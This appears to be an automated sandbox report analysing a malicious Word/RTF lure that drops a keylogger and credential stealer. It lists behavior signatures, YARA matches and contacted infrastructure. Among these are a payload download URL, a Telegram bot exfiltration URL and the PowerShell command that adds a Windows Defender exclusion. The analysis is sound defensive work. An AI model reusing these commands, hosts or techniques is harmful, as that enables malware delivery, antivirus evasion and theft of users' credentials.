Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3632 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3656 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3560 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe TID: 3652 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe TID: 3684 Thread sleep time: -13835058055282155s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe TID: 3684 Thread sleep time: -5400000s >= -30000s Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3780 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Code function: 8_2_00259A4C LdrInitializeThunk,LdrInitializeThunk, 8_2_00259A4C
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACC16 mov edx, dword ptr fs:[00000030h] 2_2_002ACC16
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, COVID19.cs Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe"
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Memory written: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Process created: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe "C:\Users\user\AppData\Roaming\hgqilegacy20306.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Queries volume information: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Queries volume information: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000008.00000002.917010447.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3416, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3508, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3416, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3508, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Searches for user specific document files
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe Directory queried: C:\Users\user\Documents\VIPRecovery Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3416, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3508, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000008.00000002.917010447.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3416, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3508, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.916697876.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.917010447.0000000002671000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.406561103.00000000031E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3416, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: hgqilegacy20306.exe PID: 3508, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1519252 Sample: Thyssenkrupp PO040232.doc Startdate: 26/09/2024 Architecture: WINDOWS Score: 100 44 Initial sample is an obfuscated RTF file 2->44 46 Suricata IDS alerts for network traffic 2->46 48 Found malware configuration 2->48 50 26 other signatures 2->50 8 WINWORD.EXE 291 18 2->8         started        process3 process4 10 EQNEDT32.EXE 11 8->10         started        15 EQNEDT32.EXE 8->15         started        dnsIp5 36 66.63.187.123, 49161, 80 ASN-QUADRANET-GLOBALUS United States 10->36 26 C:\Users\user\AppData\...\hgqilegacy20306.exe, PE32 10->26 dropped 28 C:\Users\user\...\XcsQpLjhNNvxYtrw[1].exe, PE32 10->28 dropped 62 Office equation editor establishes network connection 10->62 64 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->64 17 hgqilegacy20306.exe 3 10->17         started        file6 signatures7 process8 signatures9 38 Machine Learning detection for dropped file 17->38 40 Adds a directory exclusion to Windows Defender 17->40 42 Injects a PE file into a foreign processes 17->42 20 hgqilegacy20306.exe 12 8 17->20         started        24 powershell.exe 4 17->24         started        process10 dnsIp11 30 reallyfreegeoip.org 20->30 32 api.telegram.org 20->32 34 9 other IPs or domains 20->34 52 Installs new ROOT certificates 20->52 54 Tries to steal Mail credentials (via file / registry access) 20->54 56 Tries to harvest and steal browser information (history, passwords, etc) 20->56 signatures12 58 Tries to detect the country of the analysis system (by using the IP) 30->58 60 Uses the Telegram API (likely for C&C communication) 32->60
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 unknown United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
188.114.97.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS true
217.12.218.219
 mail.jhxkgroup.online Ukraine
21100 ITLDC-NLUA true
66.63.187.123
 unknown United States
8100 ASN-QUADRANET-GLOBALUS true
188.114.96.3
 unknown European Union
13335 CLOUDFLARENETUS false
193.122.130.0
 checkip.dyndns.com United States
31898 ORACLE-BMC-31898US false
158.101.44.242
 unknown United States
31898 ORACLE-BMC-31898US false
132.226.247.73
 unknown United States
16989 UTMEMUS false

Contacted Domains

Name IP Active
reallyfreegeoip.org 188.114.97.3 true
api.telegram.org 149.154.167.220 true
mail.jhxkgroup.online 217.12.218.219 true
checkip.dyndns.com 193.122.130.0 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://66.63.187.123/txt/XcsQpLjhNNvxYtrw.exe true
  • Avira URL Cloud: safe
 unknown
https://reallyfreegeoip.org/xml/8.46.123.33 false
  • Avira URL Cloud: safe
 unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20and%20Time:%209/26/2024%20/%206:20:30%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20358075%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
  • Avira URL Cloud: safe
 unknown
http://checkip.dyndns.org/ false
  • URL Reputation: safe
 unknown